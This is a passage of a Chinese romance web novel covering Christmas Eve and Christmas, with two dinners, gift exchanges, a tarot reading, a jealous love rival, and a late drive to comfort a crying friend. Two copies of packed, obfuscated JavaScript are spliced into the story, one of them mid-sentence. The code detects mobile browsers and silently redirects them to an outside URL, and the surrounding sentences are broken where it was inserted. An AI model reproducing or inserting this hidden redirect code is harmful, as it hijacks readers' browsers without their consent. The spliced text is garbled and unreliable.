卓繁星嗯了一声,想了想说:“你血压每天都要量,要是一直很高,我带你去医院看一下。” “没事,天冷了就这样。” 卓繁星说:“自己注意。” “知道,知道。你也是,别太累。” 卓繁星看着外面空濛的天,想到邵丽丽讲的话。 “你爸可以了。他要是真养不活你,你跟着他,说不定就跟我一样,怎么可能有这么高的学历。早早出来打工,还有那种早嫁人的,我回去见我村里,我小学同学,她那时候二十出头,跟四十几岁一样。手上牵一个,背上背一个,肚子里还揣着一个。想想就吓人。” “所以啊,你别钻牛角尖,往好了想。都不容易。” 卓繁星缓缓叹出一口气。她知道的,那时候他为了个给奶奶治病,欠了不少钱,找了门路要去开长途,不方便带她。后来的毛病也是这样得的。 只是她记得他们说好的。 他那天还带她去看车,货车特别高,她只能巴着下面的踏板,急的很,叫他赶紧把她抱上去。 “灿灿,我们以后就住车里。这以后就是我们的家了。我给你后面弄上帘子,铺上被子。你白天啊,就跟爸爸在前面开车。咱们跑遍整个中国。好不好?” “我还要带上旺旺。” “旺旺不行。它太小了.....哪儿给它上厕所?车子开到路上不能随便停的......我都跟欣欣家说好了,就放他家里,咱们回来了就能看到它。” “那还要带小红和飞飞。”她抽泣着。 “带!肯定带。”他给她刮着鼻涕,叫她擤。“我就给你放后面床上......走吧,咱们回去了,回去吃饭了。爸爸给你做猪油炒饭好不好?” 卓繁星抱着他脖子,满是灰尘的土路,车子开过去,扬的人一头灰。她到现在都记得机油混着灰尘的味道,她圈着他的脖子,走在那条路上。 46. 第 46 章 平安夜那天,翁乐仪说在外面吃饭。 卓繁星没想太多,她刚从附中回来。何安琪同里面的音乐老师认识,他们元旦活动的舞蹈要排节目。这类的帮忙多是免费的,就是结个善缘,以后有资源也好多推荐。 老师拿了个苹果给她,卓繁星愣了一下。老师说:“今天平安夜呀。卓老师不去约会吗?” 翁乐仪说他订了某家酒店的晚餐。 卓繁星后知后觉地问他:“是约会吗?”或许是时常外餐,她都不觉得有什么特地的约会。“平安夜约会?” 翁乐仪看了她一眼。“还有生日。” 卓繁星噢了一声。她对于过生日并不热衷,可他特地记得,她总是高兴的。“是给我惊喜吗?” 翁乐仪笑了下。“有惊喜吗?” 卓繁星用力点头。“所以你生日是什么时候?” “3月。” 她其实知道,她偷偷地笑。 酒店外表的灯带十分漂亮,扎了几只粉色、蓝色的风车,饱和度非常高的颜色,是美国国旗的两种颜色。该酒店的圣诞布置十分出名,每年会变化不同的装饰风格。卓繁星听潘潘讲过,这家的下午茶十分难约。 门童过来开门,卓繁星看了眼自己的摇粒绒外套加灰色卫裤,不是说不能进去,可与周遭用心打扮的女孩子们相比,总是有些潦草。 卓繁星对翁乐仪说:“其实你不如同我讲的好,穿的太随便了。” “就是吃餐饭。”他不觉得怎么样,她这样穿也很好看。 两人牵着手进去,不想碰见了乔诗情。 她打扮的十分精心,一条一字肩白色毛衣下穿鱼尾长裙,露出纤细的脚踝,踩着一双七厘米的黑色绒面高跟鞋。 头发精心打理过,光泽度满分,蓬松有光泽,一看就是经常去美发店打理才有的,弯曲的弧度恰恰好,露出耳朵上的香奈儿耳钉。 “卓繁星。啊,翁总。好巧啊,你们也来吃饭么。”她十分意外,显出些慌乱。 卓繁星问:“你也和男朋友一起来吗?” “啊,对。不过他临时有事,要晚一点才到。这里的位置很紧俏,拍照很出片啦。” 卓繁星与翁乐仪离去,不晓得她松了口气。 很快,一位穿着工作制服的女士来接她,说:“是蒋先生的客人吗?” “是。”乔诗情吸口气,微仰起下巴,挂起矜持的微笑。 “您跟我来,蒋先生已经在等您了。” 乔诗晴跟着他绕到另一侧电梯。这里明显安静许多,光可鉴人的电梯映出人的样子,她不觉得有什么不对。那支舞本来就是安排她跳的。卓繁星自己不愿意见导演,她也不算抢她的。大不了以后发达了,多谢谢她。 她平复下复杂的心情,在出电梯前整理了一下头发。 包厢门被打开,她的高跟鞋踩在羊毛地毯上,一下没了声音。乔诗情知道最出片的地方是楼下的那颗圣诞树,可这里能俯瞰江景。Y市虽不比沪市,也有其繁华。这样的地段,从来都不属于普通人。人这一生没有多少机会可以错过的,有些人一辈子也等不来一个,她在这一刻更加确信了自己来对了。 里面很安静,岛台内有厨师,有服务生。可他们都只管自己的事。餐具的响动,或是喷枪的声音,炙烤牛肉时发出的滋滋声......只会让人觉得更安静。 窗边站着一个男人,她想这就是所谓的蒋先生。她先前以为是导演要见她,可后来发过来的地址显示在这家酒店。她虽觉得奇怪,但还是赴约了。 这个男人可比她想的好多了。她算不算是赌对了。男人穿了一件黑色短款西装,下身牛仔裤,十分简单,可即便如此,修理干净的鬓角,挺拔的身材,还有一张英俊的脸。 蒋凌洲显然看见了她,在窗玻璃里皱了皱眉。 “你没有我办不成事儿是吗?”他冷冷地开口。 电话那头的人气急败坏。“我希望你明白是谁突然离开的。”他缓转了语气,试图劝道:“这笔交易对我们很重要。他去了夏威夷,你现在飞去还来得及。我实在想不通还有什么事比这件事还要重要。想想他的身份,是谁一开始信誓旦旦张口的。” 蒋凌洲不耐烦地揉了下眉心。“或许你可以安排几个新鲜货给他。” “你以为他为什么会乖乖地去夏威夷!”那头咆哮道:“我说了你会在夏威夷等他!” 蒋凌洲仿佛听见了锤桌子的声音。“淡定点,Alex.是你说如果念念不忘一样东西,就要想办法得到,得到了就不会觉得可惜了。” 那头咬牙切齿。“Areuf*kkiddingme?所以你是为了你某样念念不忘的东西飞回了国。好,好,这可真是个价值上亿美金的F*k......” 电话被掐断,蒋凌洲转过来,乔诗晴不自觉又理了下头发。 “您哪位?”他将手机扔到桌上,插腰问她。 “我......”乔诗情感觉舌头都在打结。“是玉成传媒联系的我,我是安琪工作室的老师,我以为是来试镜。” 蒋凌洲狐疑的眼神让她愈发慌乱。“或许是带我来的小姐姐带错了,我去找她,不好意思。” 她转身要走。“不用了,她没带错。那舞是你跳的?” “是,是呀。”乔诗晴把裙子揪的死紧,才没让自己露怯。 蒋凌洲不知道是什么心情,不是单纯的失望、气愤,更多的是一种荒诞感,讽刺意味十足。 幸好Alex不会知道,除了他自己,其他人应该都不会知道。 乔诗情看着他快步离开,懵了一瞬。不用说她,屋里的其他人也不大明白,以至于陷入了集体的沉默。他们终于不在专注于自己手上的事,而是好奇地望过来。 所以他到底相信了没?还是识破了她的谎言。 乔诗情感觉后背出汗。如果她没记错,卓繁星也在这家酒店。她不至于如此倒霉吧,她这样想。 她陷入一种慌乱的情绪中,这其中因为心虚,又加重了症状。 她按下电梯,试图寻找他的踪迹,或许可以解释一下,总之不该这么不上不下。 而蒋凌洲意外地碰见了翁乐仪。对方惊讶地挑了挑眉:“回国了?什么时候来的Y城?” 乔诗晴一个疾步冲上去,在看见翁乐仪时猛地刹住车。 翁乐仪的目光落在她身上,又看回蒋凌洲。 “你约了人吃饭?”蒋凌洲的表情尚算自然,却称不上愉悦。 “我有事先走了。”他抬步离开。乔诗晴一时不知该不该追过去,她小小地笑了一下。“翁总你们在这里用餐啊。这里拍照角度最好了。繁星呢?你们慢慢吃,我先走了。” 她全程自说自话,没有注意到翁乐仪在她念繁星名字的时候蹙了下眉。 回到家中,卓繁星才见到翁乐仪的礼物,他将一款圣诞树搬回了家。那是由众多玩偶组成的圣诞树,主体的树外铺着各式各样的Jellycat的娃娃。卓繁星一下就跳起来。扑过去,将一只邦尼兔抱在怀里,可比在酒店吃饭的时候兴奋多了。 “太夸张了啦。”卓繁星的眼睛还是诚实地亮了起来。 她想起那条还没送出去的项链,抱着兔子爬起来,拖过自己的那只牛角包。幸好她一直放在里面。其实要送礼物也不是那么容易的事,总是想不要太过突兀,又不甘心太过随意。毕竟这可是她第一次送翁乐仪礼物,还是一条项链。 “你要和我求婚吗?”翁乐仪看见她拿出一只咖啡色的绒布盒子,虽然知道大概率不是,但这样的场景真的很像。 卓繁星哼了一声。“你闭眼睛,我要给你带戒指啦。” “什么鬼。”虽是这样讲,但在她的眼神威逼下他还是老老实实闭眼,并有些遗憾地想:方才进门的时候是不是也应该这样做。他好像太随意了点。 卓繁星把项链带在他脖子上,他几乎瞬间就睁开眼,将她抱在怀里。“什么东西?项链?” “还没带好。”卓繁星叫他不要动。 链条是胶丝链,十分低调,她就说她眼光还是不错的。当然模特也特别好。 翁乐仪摸着星星坠子轻轻笑了下。 卓繁星说:“笑什么?我眼光好吧。” “为什么要送项链?还有这个什么意思?”他晃了晃那颗小星星。 卓繁星把兔子挡在他脸上,明知故问的人实在是太讨厌了。 “我要洗澡去了。”她一蹦一跳地去了房间。 浴室里传来轻柔的音乐声,翁乐仪有些意动,搁下杯子想或许他们可以一起泡个澡。 这时,卓繁星放在沙发上的手机响了,是一串陌生号码,来自京市。他拿起那只手机,往浴室去,“卓繁星。”他叫了一声,里面的人没听见。 在某个瞬间,或许是他的手触碰到门把手的时候,脑海中突然一道闪电劈过,又好像里面丰富的神经元突然触电了一样。 “翁乐仪?”卓繁星好像察觉到他在外面。 “没什么。”他转身离开。 电话已经结束了。翁乐仪把自己的手机拿出来,找到蒋凌洲的号码。 卓繁星的手机又开始震动起来。 电话接通,那边的人没有说话。 翁乐仪摸着项链上的星星,说:“你好,哪位?” “......卓繁星。卓繁 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“你想抽烟吗?”卓繁星看着镜子里的人问。 翁乐仪拨着她的头发,眉毛有些不同平日地聚拢。 唔,他喉咙里发出一声。“等你出去。” 这该死的绅士风度。卓繁星头一次不那么喜欢。他们两个看样子真的没有心灵相通。 “偶尔一次也没关系。”她眨巴着眼睛,真诚地望着他。 翁乐仪疑惑地扬了扬眉,确认了一遍。卓繁星已经去拿那只烟和打火机。 卓繁星这样殷勤着实是他没有想到的,不过翁乐仪乐见如此。他歪头吐出一口烟,奇怪地看了一眼她。或者说她眼里的跃跃欲试,含着某些兴奋的光。 “要试试吗?” 卓繁星乖巧摇头。 “嗯。”翁乐仪叼着烟,继续给她吹头发。 好了,现下电影里的某些情节真的出现了。卓繁星恨不得手里就有一台摄影机。 他低垂的眼睫遮掩着很多情绪,做事很认真,好像只管着手头上的事,他总是说她不把头发吹干,所以脸上毫无表情。 碎发落在额头上,因为低头,几根长的甚至落到鼻梁上。他唇瓣抿着,显出几分不好接近的模样,然后会在十几秒后,歪头把烟拿下来,缓缓抽上那么一口。 宽阔的胸膛,偏白的肌肤,让卓繁星想到那些人体雕塑。她不喜欢这些,或者说对这些不感冒,在这一点上完全不像姚馨雅。可是在这一刻,她好像明白了什么叫人体的美。 视线相接,又分开。 卓繁星看见他把那只香烟暗灭,她垂着的脚摇晃了两下,一下站起来去找拖鞋。 “好啦,你洗澡吧。” 还没跑出去,手臂已经被抓住了。 手指的热度一点一点地传递过来。卓繁星在那个潮湿,充满水汽,温暖的空间里呢喃道:“太犯规了。” 当他们回到床上的时候,已经是新的一天了。 翁乐仪本来套了一条T恤,被卓繁星要求脱掉。 啊,他一进来,她就贴上去,手指拨动着那颗星星。翁乐仪抱着她的腰肢,脸埋在她脖子里。 有些累了,卓繁星困顿地点脑袋。 “你喜欢我吗?卓繁星。”他突然开口,声音喑哑,有些含糊。 “嗯?” “喜欢我吗?”翁乐仪将头抬起,看着她。 卓繁星眨了下眼睛,试图把瞌睡赶跑,以及确认问这个蠢问题的人真的是翁乐仪,她都这么主动了。她分明喜欢死他了。 “干嘛问这个?”她咕哝道,为他的迟钝生气。而且她分明说过好几次喜欢了,他却没有正儿八经地说过一次。真的,他没说过。 “那你喜欢我吗?” “我先问的。” 切,卓繁星小小地翻了个白眼,闭眼睡觉。 “喂。” “你好烦。”卓繁星坐起来一点,捂住他的嘴,眼睛里面传达的意思很明确:你先回答我。不然免谈。 他们僵持着,卓繁星更生气了。她闭上眼,把伸到她裙子里的手拿开。 “......loveU.”耳朵里翁乐仪在讲。 卓繁星人已经迷瞪了,辨认了好一会儿。 嗯??!! 翁乐仪不满意她的表现。“你呢?” 卓繁星一下扑到他怀里。“米兔!” “米兔?”他彻底失笑。 卓繁星抱住他。“谁让你说英文的。” 47. 第 47 章 次日,卓繁星去了工作室,被告知昨天有人来找过她。 “是个大帅哥。”小余八卦地感慨道。 潘潘不信。“有多帅?能比得上她男朋友,她男朋友可帅了。” 小余强调:“真的特别帅,美琪也见了,是不是?他个子好高,我估计都快一米九了,有点日系帅哥的调调,穿着西装牛仔裤,脖子上套了一条围巾。我一见他进来,像个模特。哎呀,总之就是很帅啦。颜还是气质都是极品。” 潘潘看向卓繁星。“谁啊?这么帅你不可能不认识吧。” “我真不知道。”卓繁星无辜摇头。“他有说他名字吗?” kao,潘潘一脸无语,读出一些凡尔赛的味道。小余摇头。“我说你今天休息,他就走了。” 代课老师美琪加入进来:“那估计是卓老师的暗恋对象。” 潘潘噗滋一声吐血道:“真是旱的旱死,涝的涝死。” 卓繁星把靠在她身上的人推开。“好了,去忙了。等会家长们就来了。” 潘潘摊手。“情场失意,还能怎么办,只有搞钱了呀。” 小余默默插刀:“分明是给资本家打工。” 资本家何安琪叉着腰跑出来。“赶紧赶紧,盒饭到了,中午先随便吃点,晚上我请你们吃大餐。” 工作室布置的非常用心,进门的地方有圣诞主题的背景板,还安排店里的员工扮成圣诞老人,家长可以带着孩子合影留念。每个孩子都会有一份课堂记录相册,还有一只玩偶。 下午的活动很赶,基本没有喘气的时候。 表演结束,齐帆抽了个空档走过来。 “卓老师。”他说:“上次的事还要多谢谢你。” 卓繁星说:“没帮什么忙,是我们应该的。” “总归给你们添了不少麻烦......不知道你和翁总是男女朋友,上次也麻烦他了。” 卓繁星稍愣一下,也有些尴尬,只能说没事的。 她看了眼周遭,正要说去哪边看一下,齐帆说:“我明年工作调动,所以嘉嘉应该不能再来上课了。” 卓繁星诧异地挑了下眉,迟疑道:“是嘉嘉有受影响吗?” 孩子们现在都围着圣诞老人,期待他袋子里拿出来的糖,嘉嘉也在里面,踮着脚举着手。 “应该还好吧。”齐帆露出一丝苦笑。“我也不是特别懂孩子,她有时候说话好像很懂了,但其实还是孩子。这件事是我太粗心了。” 他尴尬地笑了下,卓繁星安慰道:“其实您已经做的很好了。嘉嘉心里你就是她最亲的人,她特别依赖你,想要更多的关注和陪伴。” “我知道。所以这次也是下定决心。之前总想着要给她更好的生活,所以工作的时间比和她在一起的时间还多。” “我想嘉嘉肯定特别开心。”卓繁星真诚地讲。 “这倒不一定,她舍不得这边的小朋友,还舍不得幼儿园的老师,还有你和潘潘老师。”他看着那边穿着绿色玩偶服,像个小精灵一样的孩子。她拿到拐杖糖了,看见他们,兴奋地跑过来。 “卓老师。”孩子的声音像一块儿黏糊糊的糖,卓繁星摸着她的脑袋。“今天开心吗?” “嗯嗯。”她认真点头。 “你跳的特别好,我还以为你很多动作会忘记呢,结果一点都没有。” 嘉嘉想笑又不想叫人发现的样子特别有意思,扭捏地转了下眼睛,说:“我是这样的,卓老师,我在家里也跳的。不然我要忘记的。爸爸你说是不是?” “是,你在家里都有认真练习。”齐帆无奈笑道。 “拍下来没?” “拍了。” “要发给李奶奶看。我看看你拍的。”她急着要去看他手机。 “爸爸拍的很好,你放心。”齐帆揽住她。“爸爸在和卓老师说你明年要转学的事。” 卓繁星问:“明年见不到嘉嘉了是吗?” 嘉嘉唔了一声,有些委屈和不好意思,挠着自己的脸,以为她伤心了,赶紧想安慰她。“我也不想走,可是爸爸说他不在这边工作了。” “老师知道。”卓繁星摸着她的脸。“没关系呀。老师今天拍了好多你的照片。以后想你了,就看一看照片。” “我也会想卓老师的。” 齐帆说:“要不要你们拍个照,我给你们拍。” 卓繁星牵着嘉嘉,孩子柔软的小手让她一时怔忪,好像看到小时候的自己。 小姑娘快乐的声音像是在一蹦一跳地讲话。“我要带小红和飞飞,和爸爸一起去住大车子啦。” “爸爸,拍好了吗?” 卓繁星笑的更真切,弯成月牙的眼睛里像盛了星河,齐帆愣了下,他还是头一次见卓老师笑的这么明媚,真的很漂亮啊。 晚上,翁乐仪去了Luna的餐厅。圣诞加周末,餐厅的生意特别好,里里外外基本都坐满了,Luna又在天井处添了几张桌椅,方便人喝酒烧烤。 洪旺带了个新的姑娘来,小姑娘喜欢拍照,可是怎么拍都不太满意。洪旺把手机还她,同翁乐仪说话,她有点生气,看一眼翁乐仪,不方便发作,冷着脸下楼去了。 “你女朋友呢?”洪旺问道。 翁乐仪说:“她今天晚上同事聚餐。” “今天同事聚餐?”洪旺失笑。“看样子同事比你重要。” 翁乐仪没理睬他,看了眼楼下的舞台——Luna临时清空了一块场地,做乐队表演。欢快的爵士乐流淌在空间中,Luna穿梭其中,机车皮衣外套内搭一条亮片短裙,骑士靴。见到熟人,她会特地去打招呼,有时兼职送菜送酒,十分忙碌,像只穿梭在人群中的蝴蝶。 “凌州昨天在Y城。” “谁?”他突兀开口,洪旺意外道。“Arthur?他什么时候来的?现在还在吗?让他过来。” “我不知道,你问问。” 洪旺电话拨出去。“你回国了?去夏威夷了?没什么......对,我们在一起。”说这话时轻飘飘看了一眼翁乐仪。“本来说一起出来喝酒......嗯,只能这样了,回头再约。” “他去夏威夷了。”洪旺搁下手机。 翁乐仪挑了下眉,说:“真是不巧。” “谁说不是呢。”洪旺笑了一下,耸耸肩,同他碰杯。 蒋濯衣打来电话,翁乐仪去了安静的地方接听。 步道上人流不停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067351|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,结伴的男女格外多。他夹着手机,点燃烟,含糊地应道:“在外面......对,和朋友一道。” “难道不是和女友一起吗?”蒋濯衣心情很好的调侃道。 翁乐仪觉得今晚自己好像在别人眼里特别可怜,这是第三次了,他刚到餐厅时,Luna就询问过他,当然还夸了他的项链,也是她设计的作品。翁乐仪有一种无法言说的郁闷,即便很淡,就同他现在吐出的烟雾一样。 他吸了一口冰冷的空气,望着暗沉的天色说:“妈还没回去吗?” “嗯?你想让我回去吗?” “不是,只是你一般不会留这么久。”尤其是冬天,他默默补充道。他记得她说过尤其不喜欢京市的冬天。 蒋濯衣回道:“或许要呆到过年。所以,过年的时候你会把姑娘带来吗?” 翁乐仪不意外她会知道。“我得问问她。或许吧,如果她愿意。” “其实我建议去温暖一点的地方。你知道的,我一直觉得不一定要留在京市过年。” 翁乐仪轻笑了下说:“这我没办法,你难得回来过年,姥爷他们肯定觉得要在家里才算团圆。” 那头叹了一声。“真是麻烦。” 翁乐仪挂断电话,给卓繁星发去消息,询问她几点结束。那边没有回过来,他倚着墙,一只手插在口袋中缓缓抽着烟。 烟雾后的眼睛有些冷淡的倦意,他很少玩花样,这时候或许无聊,嘴巴吐出一口烟,再吹出一个烟圈。圈随着吹气空心越来越大,翁乐仪仰着头,大片白的烟雾,弥散在夜里,同他脸上的笑一样。 听见响动,他转过头,一个带着红色毛线帽的姑娘探着脑袋。“不好意思。”她朝他道歉,受惊一样跑走了。 回到餐厅,Luna在玩塔罗牌。或许是心血来潮,这玩意儿在这时候很应景。她周围围满了人,Luna脑袋上顶着一只鹿角发箍,桌子上亮着一只复古灯,开坛做法一样。 “小翁要抽一张吗?”Luna举着酒杯,有些蛊惑地朝他眨眨眼。 “是你新交的男朋友?”有人立即问。 Luna伸出一根手指摇晃。“NO,NO,NO,是朋友妻。”不顾众人啊偶的怪叫,她急着把翁乐仪的牌拿过来。“好啦好啦,让我先看看他抽了什么。” “嚯,宝剑骑士逆位。正位代表迅捷、果断、挑战,逆位嘛......” Luna顿了顿,两手交叠托着下巴,猫眼扑闪扑闪地望他,下结论道:“逆位代表冲动、轻率、失控的竞争,还有......被危机感驱使的,唔,不太光彩的行动。所以......”她手指点着那张牌,问道:“你最近是不是有什么竞争对手出现了?” 翁乐仪的瞳孔飞速地缩了一下。上面突兀地传来一声笑声,洪旺支着栏杆,噱道:“又开始了,神婆。” Luna飞过去一个眼刀。“滚啊。” “她算的准吗?”洪旺问。 翁乐仪看了他一眼,退出人潮,差点撞到人,正是方才巷子里的姑娘。女生含羞带怯,仍是鼓起勇气问道:“你好,可以加个微信吗?” 洪旺已经走下来,调侃道:“嘿,所以到底是谁有对手出现。” 48. 第 48 章 卓繁星在聚会上接到了邵丽丽的电话,她昨天就出发去了临市,去看她妹妹。 “繁星,你能来接我吗?”她在电话那头哭的很惨,卓繁星吓了一跳。就是她差点没命,病房里被人指指点点的时候也没有这样过。 “你怎么了?出什么事了?” 潘潘听见了,拽着她问怎么了,卓繁星顾不上解释。“我朋友找我有点事,你们吃,我得先走了。”何安琪说:“要不要送你?” 卓繁星说:“没事,我出去打车,你们好好玩。” 她走出火锅店。“你在哪儿?”今天的日子,商家都挂着圣诞布置,红绿配色分外喜庆,就是个很热闹的日子。 “出什么事儿了?”她将声音放柔。“是你妹妹那边有什么事吗?” 邵丽丽啜泣的声音让卓繁星想到掉下来的雨点。 “繁星,我难受。”她哽咽道:“我对她那么好,比我自己还好。我一直希望她不要像我一样,活的不三不四的。我读书读不出来,没有什么前程,我希望她不要像我这样。我希望她好好念书,毕业之后找个体面工作。我一直这样想。” “她是我带大的,我把心都掏出来给她了。” 卓繁星的耳膜被她的哭声震动,像是隔着一块吸了水的海绵,又好像是有人对着话筒拍了一下又拍一下,沉闷的声音,隆隆的,足够叫人震动,窒涩。“你现在在哪里?你定位发我,我过来接你。” 邵丽丽哭着道歉。“繁星,对不起。我就是感觉我一个人回不去了,我走不动了。” 卓繁星给翁乐仪打电话就是要告诉他一声,毕竟临市开车过去要近两个小时。 她没想到洪旺也会跟来。 翁乐仪解释道:“他刚好在旁边。” 洪旺问:“她人怎么了?”他眉心皱着。卓繁星在电话里说的很简单,她去看妹妹,遇到点事,可什么事能让她打电话让人来接。 卓繁星说:“我具体也不清楚。” “半夜里折腾点事出来。”洪旺嗤了一句,下车给她腾位置,自己坐到副驾驶上去。 这一路卓繁星不时打个电话给邵丽丽,她后来不哭了,就是人清醒过来有点木,开始后悔,问她出发了没,没的话就别来了,她找个酒店住一晚明天再回来。听她说都上高速了,又和她道歉。“你一个人吗?” 卓繁星看了眼前座的洪旺,说:“还有翁乐仪和洪旺。” 那边啊了一声,“对不起呀,麻烦你们了。” 洪旺啧了一声。 卓繁星挂了电话,打字过去:【他刚好和翁乐仪在一起。我们马上就到了,抱抱。】 【我脑子抽了。】邵丽丽发了个趴地埋头的表情包。 卓繁星:【所以现在好点了吗?】 对方正在输入中好久:【没事了,我就是当时一下有点难受,你知道的。麻烦你过来,你沾上我真的好倒霉的。】 卓繁星发了个敲头过去。【我已经过来了。乖乖等我们。】 卓繁星在麦当劳找到她,附近是学校的小吃街和酒吧一条街。邵丽丽坐在玻璃门的位置,低头插着口袋,头发披散下来遮住脸。 “你们先别下去,我一个人过去。”卓繁星在车子停稳后这样讲。 代驾离开了。车里就剩翁乐仪和洪旺两个人。 远处,邵丽丽把头靠在卓繁星肩膀上,身子一抽一抽的。 “什么事能哭成这样?”洪旺蹙眉讲。 “不知道。”翁乐仪沉默了一会儿,说:“你很关心她?” “毕竟之前有关系,她哭成这样,是人都担心。”洪旺点了根烟。“她挺疼她妹妹的,我听过几次。” 翁乐仪还在继续上一个话题,他想把话说通透点。“你甩了人家,现在又过来。” 洪旺靠了一声,掸了掸胸前的烟灰。“我甩她和担心不冲突。” “我说她未必想见你。”他听过原因,洪旺甚至不需要说分手,他一贯如此。 洪旺转头看了他一眼。“行,我犯贱,我不该来。”他看向外面抱在一起的两个女孩子,邵丽丽圈着卓繁星的脖子,哭的头发丝都在颤抖。他停顿了片刻,一下把香烟拿下来。“我不能甩她?她干的那些破事。我还要忍着了?” “你自己未必有多认真?”翁乐仪觉得他实在不必如此气恼。 “那是台面下的事。” “我以为你们稀罕这些救风尘的戏码。” 洪旺愣了下,为某人少见的刻薄,脸色瞬间难看。“你又比我好到哪里去。你那个宝贝女友和蒋凌州也谈过吧,你玩的不比我花。” 翁乐仪的视线一下转向他。 洪旺慢吞吞地靠回去,缓缓道:“钱琦正早就和我说了,我只是懒得搭理。那姑娘厉害着呢,你现在被她迷的五迷三道的。” “他们早就分手了。” 洪旺嗤了一声。“那你这么紧张干什么。”他夹烟的手搭在窗外,目光落在玻璃窗里的两个人身上。“你今天叫我打那通电话。” 接触到他幽冷的目光,他到底没将话说完,吸了口烟,玩世不恭道:“我是说,咱们都一样。你现在看着认真,结果呢。” “结果我tm告诉你,我和你不一样!她也不是你前女友。你不会说话可以把嘴闭上。”翁乐仪推门下车,风吹在他怒火上,冷空气吸进去一路贯到肺里,心冷,脑袋发沉,像被人闷闷打了一拳,还是被偷袭的那种。 翁乐仪就好像走在一条黑漆漆的巷子里,被不知道哪里来的人套了麻袋,招招式式打上来,伤不到要害,可是憋屈。 他后来有些想明白了这感觉从哪里来。 他为什么不能大大方方地和蒋凌州说他和卓繁星在谈恋爱。为什么要接电话,为什么不捅破,为什么要拉黑他。这让他显得无比心虚,好像他做了一件很不该做的事,其实根本毫无必要。 那头,邵丽丽已经将事情起因说清楚。她一早就怀疑妹妹邵一一谈恋爱了,只是没想到是这么不靠谱的人。她从来不是阻止她恋爱,只是怕她吃亏。 “我来看她,她叫我今天回去。我觉得不对,就跟过来。那男的一看就不是个好东西。她说是对象,可那个男的一看就是玩玩她的。家里有点臭钱,长的还行,就是家里有点钱的二世祖。” “就这种人,说话随便,一副色胚样子。不知道外面谈了多少个,和别人yp。我说他不是什么好东西,结果她竟然说我勾引她男朋友,说我发春发到她这边来了。” “繁星,她怎么能这么说我。” 她想到从小带大的妹妹嘴巴里吐出那样的话,那两个字眼像是两颗钉子,经由她钉到她心里去。 卓繁星轻声说:“或许就是你对她太好了,她把你当最亲的人,所以才没有顾忌。” 邵丽丽眨着泪眼,懵了半晌说:“你说的对。” “那她人呢?” “那个男的摸我,我给了他一巴掌。男的生气了,她觉得我让她丢脸了。” 卓繁星听了就皱眉。 邵丽丽担心道:“那个男的不是好东西,她迟早要吃亏。” 即便这样,她还是担心她。这叫卓繁星想到卓强,家人之间本来就是一笔稀里糊涂的烂账,根本撇不清。而妹妹就是邵丽丽的软肋。 “咱们先回去吧。”卓繁星拉着她出去。 邵丽丽这才想起来还有两个人一道过来。她看见副驾上的洪旺,下意识就往卓繁星身边躲了躲。 回去路上,卓繁星陪着她坐在最后一排。翁乐仪很沉默,卓繁星想到他的腿,靠过去碰了碰他。“还好吗?”车里安静,几个人都在闭目养神。 翁乐仪睨了她一眼,说没事。 卓繁星有些担心地想再看一看他的表情,毕竟这人贯会逞强。 “真的没事。”翁乐仪轻轻捏住她的手。 到了租房,已经过了12点。卓繁星跟着邵丽丽一起下去,她就推她回去。“你别跟着了,赶紧回去休息吧。” “我今天住这儿。” “真不用,我回去就睡觉了。”她看了一眼翁乐仪,对卓繁星笑笑。“我明天跟你联系。你知道的,我就是一阵一阵的。现在都好了。” 卓繁星不太确定她的想法,她靠过来轻轻说:“我都不好意思了,今天圣诞。” “没呢。”卓繁星话还没说完,她已经挥手跑走了。 “你早点睡。” “知道啦。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067352|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 车子还没开出小区,洪旺就叫停。 “哎?”卓繁星看着他下车往回走。“他干嘛?” “犯贱。”翁乐仪冷冷来了一句。 车子到了翁乐仪家,卓繁星已经睡的迷迷糊糊的。她不知道什么时候到的,醒过来的时候车里黑暗,只有车门处的灯带安静的亮着。 “你怎么不叫我。” 翁乐仪的视线移过来,他方才一直出神地看着外面,安静淡漠,像个雕塑,还是画室里那种英俊的石膏像。 卓繁星早就觉得他不对劲了。她将手伸过去,勾住他的,撒娇似的晃了晃。“怎么啦?” “什么?”许久没有说话的缘故,翁乐仪的声音有些哑。 卓繁星悄悄叹了口气,更靠近他的趴过去。“你今天话好少呀,这么安静,你是忧郁王子吗?”话说出口,她笑了笑,真是这样,一脸忧郁地看着外面,很有故事的样子,然后就勾的小姑娘心脏啵啵跳了。 “怎么了呀?乐仪?”她晃了晃勾住的手指。 翁乐仪安静地望着她,沉默像是在酝酿一些浓重的东西,眼珠像是一团化不开的墨,却又润在水中。卓繁星就是那摊温暖的水,再浓重的墨也要被化开。终于他弯起唇,卓繁星得逞一样地笑起来。 他靠过来,她顺从地揽住他。 “你的腿还好吗?难不难受?” 翁乐仪松开她的唇,又亲了亲她的腮。 “什么?”卓繁星被他在耳朵边吐出的气息弄的痒,好一会儿才有反应。“不行,这里没有......” 话还没说完,她已经坐在他身上了。 薄薄的线衫被脱了下来,卓繁星有些冷的瑟缩了下。面前的人像只白生生的羔羊,翁乐仪张开外套裹住她,然后很快就从里面伸出两条光秃秃的手臂揽住他的脖子。 “今天去Luna那边好玩吗?怎么不开心?” 卓繁星捧着翁乐仪的脸,有些可怜他似的亲了亲他的嘴唇,眼睛,还有鼻子。 还没等到答案,肩上的带子便被勾了下来。 外套撑起的角落里在作怪,翁乐仪想到夜里吸烟的小巷,逼仄的两栋楼间,暗沉的天色,还有头顶缠绕的乱七八糟的电线。 “翁乐仪。” 